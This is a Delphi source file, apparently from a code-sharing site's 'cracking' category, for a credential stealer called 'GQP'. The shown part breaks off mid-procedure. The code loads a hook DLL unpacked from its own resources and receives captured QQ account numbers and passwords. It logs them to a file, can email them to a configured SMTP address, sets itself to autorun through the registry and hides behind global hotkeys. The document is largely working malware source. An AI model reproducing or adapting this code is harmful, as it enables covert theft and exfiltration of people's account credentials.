Mainfrm.pas
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:28k
源码类别:

破解

开发平台:

Delphi

  1. unit Mainfrm;
  2. interface
  3. uses
  4.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  5.   ComCtrls, StdCtrls,inifiles,registry,passwordfrm,types, Grids,
  6.   WinshoeMessage, Winshoes, SMTPWinshoe, ExtCtrls, RXCtrls;
  7. type
  8.   THookON=procedure;stdcall;
  9.   THookOff=procedure; stdcall;
  10.   TGQPFRM = class(TForm)
  11.     PageControl1: TPageControl;
  12.     TabSheet1: TTabSheet;
  13.     TabSheet2: TTabSheet;
  14.     TabSheet3: TTabSheet;
  15.     GroupBox1: TGroupBox;
  16.     EdMailServer: TEdit;
  17.     EdMailPort: TEdit;
  18.     Cbautosendmail: TCheckBox;
  19.     Label1: TLabel;
  20.     Label2: TLabel;
  21.     EdMailUsername: TEdit;
  22.     Label3: TLabel;
  23.     EdMailPassword: TEdit;
  24.     Label4: TLabel;
  25.     Label5: TLabel;
  26.     EdMailAddress: TEdit;
  27.     BuMailTest: TButton;
  28.     GroupBox2: TGroupBox;
  29.     Label6: TLabel;
  30.     Label7: TLabel;
  31.     Label8: TLabel;
  32.     EdOldPass: TEdit;
  33.     EdNewPass1: TEdit;
  34.     EdNewPass2: TEdit;
  35.     CBPASS: TCheckBox;
  36.     GroupBox3: TGroupBox;
  37.     Label9: TLabel;
  38.     EDataFile: TEdit;
  39.     Button2: TButton;
  40.     Button3: TButton;
  41.     Button4: TButton;
  42.     GroupBox4: TGroupBox;
  43.     RbCusOptHotkey: TRadioButton;
  44.     RbDefOptHotkey: TRadioButton;
  45.     LBDefOptHotkey: TLabel;
  46.     EdCusOptHotkey: TEdit;
  47.     GroupBox5: TGroupBox;
  48.     RbCusDataHotkey: TRadioButton;
  49.     RbDefDataHotkey: TRadioButton;
  50.     LbDefDataHotkey: TLabel;
  51.     EdCusDatahotkey: TEdit;
  52.     CBAutoRun: TCheckBox;
  53.     TabSheet4: TTabSheet;
  54.     GroupBox7: TGroupBox;
  55.     TabSheet5: TTabSheet;
  56.     CBServerCheck: TCheckBox;
  57.     SMTP: TWinshoeSMTP;
  58.     MSG: TWinshoeMessage;
  59.     lbabout: TLabel;
  60.     Label10: TLabel;
  61.     Label12: TLabel;
  62.     Bevel1: TBevel;
  63.     Image1: TImage;
  64.     SaveDialog1: TSaveDialog;
  65.     RxLabel1: TRxLabel;
  66.     LV: TListView;
  67.     Label11: TLabel;
  68.     procedure Button4Click(Sender: TObject);
  69.     procedure Button3Click(Sender: TObject);
  70.     procedure CBPASSClick(Sender: TObject);
  71.     procedure RbCusOptHotkeyClick(Sender: TObject);
  72.     procedure RbDefOptHotkeyClick(Sender: TObject);
  73.     procedure RbDefDataHotkeyClick(Sender: TObject);
  74.     procedure RbCusDataHotkeyClick(Sender: TObject);
  75.     procedure CbautosendmailClick(Sender: TObject);
  76.     procedure FormCreate(Sender: TObject);
  77.     procedure EdCusOptHotkeyKeyDown(Sender: TObject; var Key: Word;
  78.       Shift: TShiftState);
  79.     procedure EdCusDatahotkeyKeyDown(Sender: TObject; var Key: Word;
  80.       Shift: TShiftState);
  81.     procedure EdCusOptHotkeyKeyPress(Sender: TObject; var Key: Char);
  82.     procedure EdCusDatahotkeyKeyPress(Sender: TObject; var Key: Char);
  83.     procedure CBServerCheckClick(Sender: TObject);
  84.     procedure BuMailTestClick(Sender: TObject);
  85.     procedure Button2Click(Sender: TObject);
  86.     procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  87.   private
  88.     { Private declarations }
  89.     dllhandle:THandle;
  90.     DllName:string;
  91.     HookOn:THookOn;HookOff:THookOff;
  92.     mkey1,mkey2:string;
  93.     ftemOption:Toption;
  94.     OptWinhotkeyid,CloseAppHotKeyId:integer;
  95.     procedure hotkeypress(var msg:TWMHotKey);message wm_hotkey;
  96.     procedure GetData(var t: TWmCopyData); message WM_COPYDATA;
  97.     function  dLoadDll:boolean;
  98.     function initapp:boolean;
  99.     procedure closeapp;
  100.     procedure SetOption;
  101.     procedure SetDefaultOption;
  102.     procedure WriteOptionFile;
  103.     procedure readOptionFile;
  104.     procedure UpdataForm;
  105.     procedure SetSystem;
  106.     function  GetKeyStr(key:word):string;
  107.     function  CheckInput:boolean;
  108.      function CheckNetTabSheet:boolean;
  109.     procedure sendmail(HostAddress:string;port:integer;UserID:string;Password:string;Emailaddress:string;
  110.                        qqnum:string;qqpass:string);
  111.     procedure TestSendMail(HostAddress,port,UserID,Password,Emailaddress:string);
  112.     function WhetherOnLine:boolean;
  113.   public
  114.     { Public declarations }
  115.   end;
  116.   TSenderThread = class(TThread)
  117.   public
  118.     mstate:boolean;
  119.     mSMTP: TWinshoeSMTP;
  120.     mMsg: TWinshoeMessage;
  121.     procedure Execute; override;
  122.   end;
  123. function InternetCheckConnection(lpszUrl: PAnsiChar; dwFlags: DWORD;
  124.     dwReserved: DWORD): BOOL; stdcall;  external 'wininet.dll' name 'InternetCheckConnectionA';
  125. var
  126.   GQPFRM: TGQPFRM;
  127. implementation
  128. {$R *.DFM}
  129. function  TGQPFRM.GetKeyStr(key:word):string;
  130. var
  131.  mkey:string;
  132. begin
  133. // if key in [16..18] then exit;
  134.  if (key in [65..90]) or (key in [48..57]) then  mkey:=char(key);
  135.  case key of
  136.      VK_BACK:mkey:= 'Back';
  137.      VK_NUMPAD1:mkey:= 'NUM 1';
  138.      VK_NUMPAD2:mkey:= 'NUM 2';
  139.      VK_NUMPAD3:mkey:= 'NUM 3';
  140.      VK_NUMPAD4:mkey:= 'NUM 4';
  141.      VK_NUMPAD5:mkey:= 'NUM 5';
  142.      VK_NUMPAD6:mkey:= 'NUM 6';
  143.      VK_NUMPAD7:mkey:= 'NUM 7';
  144.      VK_NUMPAD8:mkey:= 'NUM 8';
  145.      VK_NUMPAD9:mkey:= 'NUM 9';
  146.      VK_NUMPAD0:mkey:= 'NUM 0';
  147.      VK_MULTIPLY:mkey:= 'NUM *';
  148.      VK_ADD:     mkey:= 'NUM +';
  149.      VK_SUBTRACT:mkey:= 'NUM -';
  150.      VK_DECIMAL: mkey:= 'NUM .';
  151.      VK_DIVIDE: mkey:= 'NUM /';
  152.      VK_NUMLOCK:mkey:='NUMLOCK';
  153.      VK_SCROLL :mkey:='SCROLLLOCK';
  154.      VK_PAUSE :mkey:='PAUSE';
  155.      VK_INSERT :mkey:='INSERT';
  156.      VK_DELETE :mkey:='DELETE';
  157.      VK_PRIOR :mkey:='PageUp';
  158.      VK_NEXT :mkey:='PageDown';
  159.      VK_END :mkey:='END';
  160.      VK_HOME :mkey:='HOME';
  161.      VK_LEFT :mkey:='LEFT';
  162.      VK_UP :mkey:='UP';
  163.      VK_RIGHT :mkey:='RIGHT';
  164.      VK_DOWN :mkey:='DOWN';
  165.      VK_ESCAPE :mkey:='ESC';
  166.      VK_F1 :mkey:='F1';
  167.      VK_F2 :mkey:='F2';
  168.      VK_F3 :mkey:='F3';
  169.      VK_F4 :mkey:='F4';
  170.      VK_F5 :mkey:='F5';
  171.      VK_F6 :mkey:='F6';
  172.      VK_F7 :mkey:='F7';
  173.      VK_F8 :mkey:='F8';
  174.      VK_F9 :mkey:='F9';
  175.      VK_F10 :mkey:='F10';
  176.      VK_F11 :mkey:='F11';
  177.      VK_F12 :mkey:='F12';
  178.      192:mkey:='`';
  179.      189:mkey:='-';
  180.      187:mkey:='=';
  181.      220:mkey:='';
  182.      VK_RETURN:mkey:='ENTER';
  183.      219:mkey:='[';
  184.      221:mkey:=']';
  185.      20:mkey:='CAPSLOCK';
  186.      186:mkey:=';';
  187.      222:mkey:='''';
  188.      188:mkey:=',';
  189.      190:mkey:='.';
  190.      191:mkey:='/';
  191.      VK_LWIN:mkey:='LWIN';
  192.      VK_RWIN:mkey:='RWIN';
  193.      VK_SPACE:mkey:='SPACE';
  194.   end;
  195.   result:=mkey;
  196. end;
  197. procedure TGQPFRM.GetData(var t: TWmCopyData);
  198. var
  199.  i:integer;
  200.  qqnumpass:string;
  201.  qqnum,qqpass:string;
  202.  qqdatafile:textfile;
  203.  mitem:TlistItem;
  204. begin
  205.  qqnumpass:=StrPas(t.CopyDataStruct.lpData);
  206.  i:=pos('/',qqnumpass);
  207.  qqnum:=copy(qqnumpass,1,i-1);
  208.  qqpass:=copy(qqnumpass,i+1,length(qqnumpass)-i);
  209.  mitem:=lv.Items.Add;
  210.  mitem.Caption:=qqnum;
  211.  mitem.SubItems.Add(qqpass);
  212.  if AppOption.DataFile<>''then
  213.   begin
  214.     assignfile(qqdatafile,AppOption.DataFile);
  215.     if not fileexists(AppOption.DataFile) then
  216.     begin
  217.       rewrite(qqdatafile);
  218.     end;
  219.       append(qqdatafile);
  220.       writeln(qqdatafile,'Number:'+qqnum+'  Password:'+qqpass);
  221.       closefile(qqdatafile);
  222.   end;
  223.  if AppOption.autosendmail then
  224.   begin
  225.    sendmail(AppOption.mailserver,appoption.mailPort,appoption.mailUserName,
  226.             AppOption.mailPassword,AppOption.MailAddress,qqnum,qqpass);
  227.   end;
  228. end;
  229. procedure TGQPFRM.hotkeypress(var msg:TWMHotKey);
  230. begin
  231. if msg.HotKey=OptWinhotkeyid then
  232.   begin
  233.    if not self.Visible then
  234.     begin
  235.      UpdataForm;
  236.      if AppOption.password<>'' then
  237.        PasswordDlg.Show
  238.      else
  239.       begin
  240.        self.Visible:=true;
  241.       end;
  242.     end;
  243.   end;
  244. if msg.HotKey=CloseAppHotKeyId then
  245.   if not self.Visible then close;
  246. end;
  247. procedure TGQPFRM.SetDefaultOption;
  248.  begin
  249.   with AppOption do
  250.    begin
  251.     autorun:=false;
  252.     password:='';
  253.     DataFile:='';          
  254.     OptWinHotKey.cusHotkey:=false;
  255.     OptWinHotkey.ctrl:=true;
  256.     OptWinHotkey.shift:=true;
  257.     OptWinHotkey.alt:=true;
  258.     OptWinHotkey.key:=vk_F7;
  259.     CloseAppHotKey.cusHotkey:=false;
  260.     CloseAppHotKey.ctrl:=true;
  261.     CloseAppHotKey.shift:=true;
  262.     CloseAppHotKey.alt:=true;
  263.     CloseAppHotKey.key:=vk_F8;
  264.     autosendmail:=false;
  265.     mailPort:=25;
  266.     servercheck:=false;
  267.   end;
  268.  end;
  269. procedure TGQPFRM.WriteOptionFile;
  270.  var
  271.   inif:Tinifile;
  272.  begin
  273.   inif:=Tinifile.Create(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini');
  274.   inif.WriteBool('general','autorun',appoption.autorun);
  275.   inif.WriteString('general','password',appoption.password);
  276.   inif.WriteString('general','DataFile',appoption.Datafile);
  277.   inif.WriteBool('hotkey','OptWinHotkeycus',appoption.OptWinHotkey.cusHotkey);
  278.   inif.WriteBool('hotkey','OptWinHotkeyCtrl',appoption.optwinhotkey.ctrl);
  279.   inif.WriteBool('hotkey','OptWinHotkeyShift',appoption.optwinhotkey.Shift);
  280.   inif.WriteBool('hotkey','OptWinHotkeyAlt',appoption.optwinhotkey.Alt);
  281.   inif.Writeinteger('hotkey','OptWinHotkeykey',appoption.Optwinhotkey.key);
  282.   inif.WriteBool('hotkey','CloseAppHotKeycus',appoption.CloseAppHotKey.cusHotkey);
  283.   inif.WriteBool('hotkey','CloseAppHotKeyCtrl',appoption.CloseAppHotKey.Ctrl);
  284.   inif.WriteBool('hotkey','CloseAppHotKeyShift',appoption.CloseAppHotKey.Shift);
  285.   inif.WriteBool('hotkey','CloseAppHotKeyAlt',appoption.CloseAppHotKey.Alt);
  286.   inif.Writeinteger('hotkey','CloseAppHotKeykey',appoption.CloseAppHotKey.key);
  287.   inif.WriteBool('network','autosedmail',appoption.autosendmail);
  288.   inif.WriteString('network','mailserver',appoption.mailserver);
  289.   inif.WriteBool('network','servercheck',appoption.servercheck);
  290.   inif.WriteString('network','mailUserName',appoption.mailUserName);
  291.   inif.WriteString('network','mailPassword',appoption.mailPassword);
  292.   inif.WriteString('network','MailAddress',appoption.MailAddress);
  293.   inif.WriteInteger('network','mailPort',appoption.mailPort);
  294.   inif.Free;
  295.  end;
  296. procedure TGQPFRM.readOptionFile;
  297.  var
  298.   inif:Tinifile;
  299.  begin
  300.   inif:=Tinifile.Create(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini');
  301.   appoption.autorun:=inif.readBool('general','autorun',false);
  302.   appoption.password:=inif.readString('general','password','');
  303.   appoption.datafile:=inif.readstring('general','DataFile','');
  304.   appoption.OptWinHotkey.cusHotkey:=inif.readBool('hotkey','OptWinHotkeycus',false);
  305.   appoption.optwinhotkey.ctrl:=inif.readBool('hotkey','OptWinHotkeyCtrl',false);
  306.   appoption.optwinhotkey.Shift:=inif.readBool('hotkey','OptWinHotkeyShift',false);
  307.   appoption.optwinhotkey.Alt:=inif.readBool('hotkey','OptWinHotkeyAlt',false);
  308.   appoption.Optwinhotkey.key:=inif.readinteger('hotkey','OptWinHotkeykey',0);
  309.   appoption.CloseAppHotKey.cusHotkey:=inif.readBool('hotkey','CloseAppHotKeycus',false);
  310.   appoption.CloseAppHotKey.Ctrl:=inif.readBool('hotkey','CloseAppHotKeyCtrl',false);
  311.   appoption.CloseAppHotKey.Shift:=inif.readBool('hotkey','CloseAppHotKeyShift',false);
  312.   appoption.CloseAppHotKey.Alt:=inif.readBool('hotkey','CloseAppHotKeyAlt',false);
  313.   appoption.CloseAppHotKey.key:=inif.readinteger('hotkey','CloseAppHotKeykey',0);
  314.   appoption.autosendmail:=inif.readBool('network','autosedmail',false);
  315.   appoption.mailserver:=inif.readString('network','mailserver','');
  316.   appoption.MailAddress:=inif.readString('network','MailAddress','');
  317.   appoption.mailPort:=inif.readInteger('network','mailPort',25);
  318.   appoption.servercheck:=inif.readBool('network','servercheck',false);
  319.   appoption.mailUserName:=inif.readString('network','mailUserName','');
  320.   appoption.mailPassword:=inif.readString('network','mailPassword','');
  321.   inif.Free;
  322.  end;
  323.  
  324. procedure TGQPFRM.UpdataForm;
  325. var
  326.  mhotkey:string;
  327. begin
  328.  ftemoption:=appoption;
  329.  self.PageControl1.ActivePage:=TabSheet5;  
  330.  with appoption do
  331.   begin
  332.    if autorun then
  333.        begin self.CBAutoRun.Checked:=true;end
  334.    else
  335.        begin self.CBAutoRun.Checked:=false;end;
  336.    self.CBPASS.Checked:=false;
  337.    self.EdOldPass.Text:='';
  338.    self.EdOldPass.Enabled:=false;
  339.    self.EdNewPass1.Text:='';
  340.    self.EdNewPass1.Enabled:=false;
  341.    self.EdNewPass2.Text:='';
  342.    self.EdNewPass2.Enabled:=false;
  343.    self.EDataFile.Text:=DataFile;
  344.   if optwinhotkey.cushotkey=true then
  345.    begin
  346.     self.RbCusOptHotkey.Checked:=true;
  347.     if optwinhotkey.ctrl then mhotkey:='Ctrl';
  348.     if optwinhotkey.shift then mhotkey:=mhotkey+'+shift';
  349.     if optwinhotkey.alt then mhotkey:=mhotkey+'+Alt';
  350.     if optwinhotkey.key<>0 then mhotkey:=mhotkey+'+'+GetKeyStr(optwinhotkey.key);
  351.     self.EdCusOptHotkey.Text:=mhotkey;
  352.    end
  353.   else
  354.    begin
  355.     self.RbDefOptHotkey.Checked:=true;
  356.     self.EdCusOptHotkey.Text:='';
  357.    end;
  358.   if CloseAppHotKey.cushotkey=true then
  359.    begin
  360.     self.RbCusDataHotkey.Checked:=true;
  361.     if CloseAppHotKey.ctrl then mhotkey:='Ctrl';
  362.     if CloseAppHotKey.shift then mhotkey:=mhotkey+'+shift';
  363.     if CloseAppHotKey.alt then mhotkey:=mhotkey+'+Alt';
  364.     if CloseAppHotKey.key<>0 then mhotkey:=mhotkey+'+'+GetKeyStr(CloseAppHotKey.key);
  365.     self.EdCusDatahotkey.Text:=mhotkey;
  366.    end
  367.   else
  368.    begin
  369.     self.RbDefDataHotkey.Checked:=true;
  370.     self.EdCusDatahotkey.Text:='';
  371.    end;
  372.   if  autosendmail then
  373.     begin
  374.      self.Cbautosendmail.Checked:=true;
  375.      CbautosendmailClick(self);
  376.      self.EdMailServer.Text:=mailserver;
  377.      self.EdMailAddress.Text:=mailaddress;
  378.      self.EdMailPort.Text:=inttostr(mailport);    
  379.      if servercheck then
  380.       begin
  381.        self.CBServerCheck.Checked:=true;
  382.        cbservercheckclick(self);
  383.        self.EdMailUsername.Text:=mailusername;
  384.        self.EdMailPassword.Text:=mailpassword;
  385.       end
  386.      else
  387.       begin
  388.        self.CBServerCheck.Checked:=false;
  389.        self.EdMailUsername.Text:='';
  390.        self.EdMailPassword.Text:='';
  391.       end;
  392.     end
  393.   else
  394.     begin
  395.      self.Cbautosendmail.Checked:=false;
  396.      self.EdMailServer.Text:='';
  397.      self.EdMailUsername.Text:='';
  398.      self.EdMailPassword.Text:='';
  399.      self.EdMailAddress.Text:='';
  400.      self.EdMailPort.Text:=inttostr(mailport); 
  401.      self.CBServerCheck.Enabled:=false;
  402.      CbautosendmailClick(self);     
  403.     end;
  404.  end;
  405. end;
  406. procedure TGQPFRM.SetSystem;
  407. var
  408.  freg:Tregistry;
  409.  Fshift:Word;
  410. begin
  411.   
  412.  freg:=Tregistry.create;
  413.  freg.rootkey:=HKEY_LOCAL_MACHINE;
  414.  freg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',True);
  415.  if appoption.autorun then
  416.   begin
  417.    freg.DeleteValue('GQP');
  418.    freg.WriteString('GQP',application.ExeName);
  419.   end
  420.  else
  421.   begin
  422.    freg.DeleteValue('GQP');
  423.   end;
  424.  freg.Closekey;
  425.  freg.Free;
  426. Fshift:=0;
  427. if appoption.OptWinHotkey.shift then Fshift:=MOD_SHIFT;
  428. if appoption.OptWinHotkey.ctrl then Fshift:=Fshift or MOD_CONTROL;
  429. if appoption.OptWinHotkey.alt then  Fshift:=Fshift or MOD_ALT;
  430. registerhotkey(handle,OptWinhotkeyid,fshift,appoption.OptWinHotkey.key);
  431. Fshift:=0;
  432. if appoption.CloseAppHotKey.shift then Fshift:=MOD_SHIFT;
  433. if appoption.CloseAppHotKey.ctrl then Fshift:=Fshift or MOD_CONTROL;
  434. if appoption.CloseAppHotKey.alt then  Fshift:=Fshift or MOD_ALT;
  435. registerhotkey(handle,CloseAppHotKeyId,fshift,appoption.CloseAppHotKey.key);
  436. end;
  437. procedure TGQPFRM.SetOption;
  438. begin
  439.  //if  AppOption=ftemOption then exit;
  440.  AppOption:=ftemOption;
  441. end;                                      
  442. function  TGQPFRM.dLoadDll:boolean;
  443. var
  444.   Res: TResourceStream;
  445. begin
  446.  result:=false;
  447.  dllname:=copy(application.ExeName,1,length(application.ExeName)-4)+'.dll';
  448. // dllname:=copy(application.ExeName,1,length(application.ExeName)-4)+'l.dll';
  449.  if not FileExists(dllname) then
  450.   begin
  451.     Res := TResourceStream.Create(Hinstance, 'MYDAT', RT_RCDATA);
  452.     Res.SavetoFile(dllname);
  453.     Res.Free;
  454.  end;
  455.  
  456.  dllhandle := LoadLibrary(pchar(dllname));
  457.  try
  458.   if dllhandle <> 0 then
  459.    begin
  460.     @HookOn := GetProcAddress(dllhandle, 'HookOn');
  461.     @HookOff:= GetProcAddress(dllhandle, 'HookOff');
  462.     if (@HookOn=nil)or(@HookOff=nil) then
  463.       begin
  464.        showmessage('文件已损坏');
  465.        raise exception.Create('err');
  466.       end;
  467.    end
  468.   else
  469.     begin
  470.      showmessage('dll不存在');
  471.      raise exception.Create('err');
  472.     end;
  473.  except
  474.   on exception do
  475.    begin
  476.     FreeLibrary(dllhandle);
  477.     exit;
  478.    end;
  479.  end;
  480.   result:=true;
  481.  end;
  482. function TGQPFRM.initapp:boolean;
  483. begin
  484.   result:=false;
  485.   if  dLoadDll=false then exit;
  486.   
  487.   if  not FileExists(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini') then
  488.       begin
  489.        SetDefaultOption;
  490.        WriteOptionFile;
  491.       end
  492.   else
  493.       begin
  494.        readOptionFile;
  495.       end;           
  496. //  根据控制信息设置窗口
  497.   UpdataForm;
  498. //设置系统
  499.   //定义系统热键
  500.   OptWinhotkeyid:=GlobalAddAtom(pchar('OptWinHotkey'))-$C000;
  501.   CloseAppHotKeyId:=GlobalAddAtom(pchar('CloseAppHotKey'))-$C000;
  502.   
  503.   SetSystem;
  504.   hookon;
  505.  result:=true;
  506. end;
  507. procedure TGQPFRM.closeapp;
  508. begin
  509.  hookoff;
  510. //卸载热键
  511.  unregisterhotkey(handle,OptWinhotkeyid);
  512.  if OptWinhotkeyid<>0 then DeleteAtom(OptWinhotkeyid);
  513.  unregisterhotkey(handle,CloseAppHotKeyId);
  514.   if CloseAppHotKeyId<>0 then DeleteAtom(CloseAppHotKeyId);
  515.  if dllhandle<>0 then FreeLibrary(dllhandle);
  516. // sleep(100);
  517. // if FileExists(dllname) then deletefile(dllname);
  518.  
  519.  {
  520.    关闭hook
  521.    卸载dll
  522.    卸载热键
  523.    卸载内存映象
  524.    }
  525. end;
  526. procedure TGQPFRM.Button4Click(Sender: TObject);
  527. begin
  528.  self.Visible:=false;
  529. end;
  530. function TGQPFRM.CheckNetTabSheet:boolean;
  531.  begin
  532.  result:=false;
  533.  ftemoption.autosendmail:=self.Cbautosendmail.Checked;
  534.  if self.Cbautosendmail.Checked then
  535.     begin
  536.      if self.EdMailServer.Text='' then begin showmessage('请填写smtp服务器');exit;end;
  537.      if self.EdMailPort.Text='' then  begin showmessage('请填写端口号');exit;end;
  538.      if self.EdMailAddress.Text=''then  begin showmessage('请填写收件人邮箱');exit;end;
  539.      ftemoption.mailserver:=self.EdMailServer.Text;
  540.      ftemoption.MailAddress:=self.EdMailAddress.Text;
  541.      try
  542.       ftemoption.mailPort:=strtoint(self.EdMailPort.Text);
  543.      except
  544.       on econverterror do
  545.        begin
  546.         showmessage('端口号输入错误!');
  547.         exit;
  548.        end;
  549.      end;
  550.      ftemoption.servercheck:=self.CBServerCheck.Checked;
  551.      if self.CBServerCheck.Checked then
  552.        begin
  553.         if self.EdMailUsername.Text='' then begin showmessage('请填写验证用户');exit;end;
  554.         if self.EdMailPassword.Text=''then begin showmessage('请填写验证密码');exit;end;
  555.         ftemoption.mailUserName:=self.EdMailUsername.Text;
  556.         ftemoption.mailPassword:=self.EdMailPassword.Text;
  557.        end;
  558.    end;
  559.    result:=true;
  560.  end;
  561. function  TGQPFRM.CheckInput:boolean;
  562. begin
  563.   result:=false;
  564.    ftemoption.autorun:=CbAutoRun.Checked;
  565.    if self.CBPASS.Checked then
  566.       begin
  567.        if self.EdOldPass.Text<>AppOption.password then
  568.         begin
  569.          showmessage('原始密码错误!');
  570.          exit;
  571.         end;
  572.        if self.EdNewPass1.Text <>self.EdNewPass2.Text  then
  573.         begin
  574.          showmessage('新密码和确认密码不一致!');
  575.          exit;
  576.         end;
  577.         ftemoption.password:=self.EdNewPass2.Text;
  578.       end
  579.    else
  580.       ftemoption.password:=appoption.password;
  581.   if self.RbDefOptHotkey.Checked then
  582.     begin
  583.     ftemoption.OptWinHotkey.cusHotkey:=false;
  584.     ftemoption.OptWinHotkey.ctrl:=true;
  585.     ftemoption.OptWinHotkey.shift:=true;
  586.     ftemoption.OptWinHotkey.alt:=true;
  587.     ftemoption.OptWinHotkey.key:=VK_F7;
  588.    end;
  589.  if self.RbDefDataHotkey.Checked then
  590.    begin
  591.     ftemoption.CloseAppHotKey.cusHotkey:=false;
  592.     ftemoption.CloseAppHotKey.ctrl:=true;
  593.     ftemoption.CloseAppHotKey.shift:=true;
  594.     ftemoption.CloseAppHotKey.alt:=true;
  595.     ftemoption.CloseAppHotKey.key:=VK_F8;
  596.    end;
  597.  if self.RbCusOptHotkey.Checked then
  598.   begin
  599.     ftemoption.OptWinHotkey.cusHotkey:=true;
  600.     if self.EdCusOptHotkey.Text ='' then
  601.       begin showmessage('自定义热键不能为空!'); exit; end;
  602.     if not(ftemoption.OptWinHotkey.shift or ftemoption.OptWinHotkey.ctrl or
  603.          ftemoption.OptWinHotkey.alt)  then begin showmessage('热键不合法'); exit; end;
  604.     if ftemoption.OptWinHotkey.key=0 then begin  showmessage('热键不合法'); exit; end;
  605.   end;
  606. if self.RbCusDataHotkey.Checked then
  607.  begin
  608.    ftemoption.CloseAppHotKey.cusHotkey:=true;
  609.    if self.RbCusDataHotkey.Checked then
  610.     if (self.EdCusDataHotkey.Text ='') then
  611.      begin showmessage('自定义热键不能为空!'); exit; end;
  612.    if not(ftemoption.CloseAppHotKey.shift or ftemoption.CloseAppHotKey.ctrl or
  613.       ftemoption.CloseAppHotKey.alt)  then begin showmessage('热键不合法'); exit; end;
  614.    if ftemoption.CloseAppHotKey.key=0 then begin  showmessage('热键不合法'); exit; end;
  615.  end;
  616.  
  617.   if not CheckNetTabSheet then exit;
  618.      
  619.   result:=true;
  620. end;
  621. procedure TGQPFRM.Button3Click(Sender: TObject);
  622. begin
  623. if not CheckInput then exit;
  624.  setOption;
  625.  WriteOptionFile;
  626.  SetSystem;
  627.  self.Visible:=false;
  628. end;
  629. procedure TGQPFRM.CBPASSClick(Sender: TObject);
  630. begin
  631.  if CBPass.Checked then
  632.   begin
  633.    EdOldPass.Enabled:=true;EdOldPass.Color:=clwindow;
  634.    EdNewPass1.Enabled:=true;EdNewPass1.Color:=clwindow;
  635.    EdNewPass2.Enabled:=true;EdNewPass2.Color:=clwindow;
  636.   end
  637.  else
  638.   begin
  639.    EdOldpass.Enabled:=false;EdOldPass.Color:=clinactiveborder;
  640.    EdNewPass1.Enabled:=False;EdNewPass1.Color:=clinactiveborder;
  641.    EdnewPass2.enabled:=false;EdnewPass2.Color:=clinactiveborder;
  642.   end;
  643. end;
  644. procedure TGQPFRM.RbCusOptHotkeyClick(Sender: TObject);
  645. begin
  646.  EdCusOptHotkey.Enabled:=true;
  647.  EdCusOptHotkey.Color:=clwindow;
  648. end;
  649. procedure TGQPFRM.RbDefOptHotkeyClick(Sender: TObject);
  650. begin
  651.  EdCusOptHotkey.Enabled:=false;
  652.  EdCusOptHotkey.Color:=clinactiveborder;
  653. end;
  654. procedure TGQPFRM.RbDefDataHotkeyClick(Sender: TObject);
  655. begin
  656.  EdCusDataHotkey.Enabled:=false;
  657.  EdCusDataHotkey.Color:=clinactiveborder;
  658. end;
  659. procedure TGQPFRM.RbCusDataHotkeyClick(Sender: TObject);
  660. begin
  661.  EdCusDataHotkey.Enabled:=true;
  662.  EdCusDataHotkey.Color:=clwindow;
  663. end;
  664. procedure TGQPFRM.CbautosendmailClick(Sender: TObject);
  665. begin
  666.   if Cbautosendmail.Checked then
  667.    begin
  668.     Edmailserver.Enabled:=true;Edmailserver.Color:=clwindow; 
  669.     EdmailAddress.Enabled:=true;EdmailAddress.Color:=clwindow;
  670.     EdmailPort.Enabled:=true;EdmailPort.Color:=clwindow;
  671.     cbservercheck.Enabled:=true;
  672.     BuMailTest.Enabled:=true;
  673.    end
  674.   else
  675.    begin
  676.     Edmailserver.Enabled:=false;Edmailserver.Color:=clinactiveborder;
  677.     EdmailAddress.Enabled:=false;EdmailAddress.Color:=clinactiveborder;
  678.     EdmailPort.Enabled:=false;EdmailPort.Color:=clinactiveborder;
  679.     cbservercheck.Checked:=false;
  680.     cbservercheck.Enabled:=false;
  681.     EdmailUserName.Enabled:=false;EdmailUserName.Color:=clinactiveborder;
  682.     EdmailPassword.Enabled:=false;EdmailPassword.Color:=clinactiveborder;
  683.     BuMailTest.Enabled:=false;   
  684.    end;
  685. end;
  686. procedure TGQPFRM.CBServerCheckClick(Sender: TObject);
  687. begin
  688.   if CBServerCheck.Checked then
  689.    begin
  690.     EdmailUserName.Enabled:=true;EdmailUserName.Color:=clwindow;
  691.     EdmailPassword.Enabled:=true;EdmailPassword.Color:=clwindow;
  692.    end
  693.   else
  694.    begin
  695.     EdmailUserName.Enabled:=false;EdmailUserName.Color:=clinactiveborder;
  696.     EdmailPassword.Enabled:=false;EdmailPassword.Color:=clinactiveborder;
  697.    end;
  698. end;
  699. procedure TGQPFRM.FormCreate(Sender: TObject);
  700. begin
  701.  if initapp=false then application.Terminate;
  702. end;
  703. procedure TGQPFRM.EdCusOptHotkeyKeyDown(Sender: TObject; var Key: Word;
  704.   Shift: TShiftState);
  705. var
  706.  mstring:string;
  707. begin
  708.   if not (key in [16..18]) then
  709.      begin
  710.       mkey1:=GetKeyStr(key);
  711.       ftemoption.OptWinHotkey.key:=key;
  712.      end;
  713.       
  714.   if ssShift in Shift then
  715.       begin
  716.        mstring:='Shift+';
  717.        ftemoption.OptWinHotkey.shift:=true;
  718.       end
  719.   else
  720.        ftemoption.OptWinHotkey.shift:=false;
  721.        
  722.   if ssCtrl in shift then
  723.     begin
  724.      mString:=mstring+'Ctrl+';
  725.      ftemoption.OptWinHotkey.ctrl:=true;
  726.     end
  727.   else
  728.      ftemoption.OptWinHotkey.ctrl:=false;
  729.   if ssAlt in Shift then
  730.    begin
  731.     mString:=mstring+'ALT+';
  732.     ftemoption.OptWinHotkey.alt:=true;
  733.    end
  734.   else
  735.     ftemoption.OptWinHotkey.alt:=false;
  736.      
  737.   mString:=mString+mkey1;
  738.   EdCusOptHotkey.Text:=mstring;
  739. end;
  740. procedure TGQPFRM.EdCusDatahotkeyKeyDown(Sender: TObject; var Key: Word;
  741.   Shift: TShiftState);
  742. var
  743.  mstring:string;
  744. begin
  745.  if not (key in [16..18]) then
  746.   begin
  747.    mkey2:=GetKeyStr(key);
  748.    ftemoption.CloseAppHotKey.key:=key;
  749.   end;
  750.   if ssShift in Shift then
  751.       begin
  752.        mstring:='Shift+';
  753.        ftemoption.CloseAppHotKey.shift:=true;
  754.       end
  755.   else
  756.        ftemoption.CloseAppHotKey.shift:=false;
  757.        
  758.   if ssCtrl in shift then
  759.     begin
  760.      mString:=mstring+'Ctrl+';
  761.      ftemoption.CloseAppHotKey.ctrl:=true;
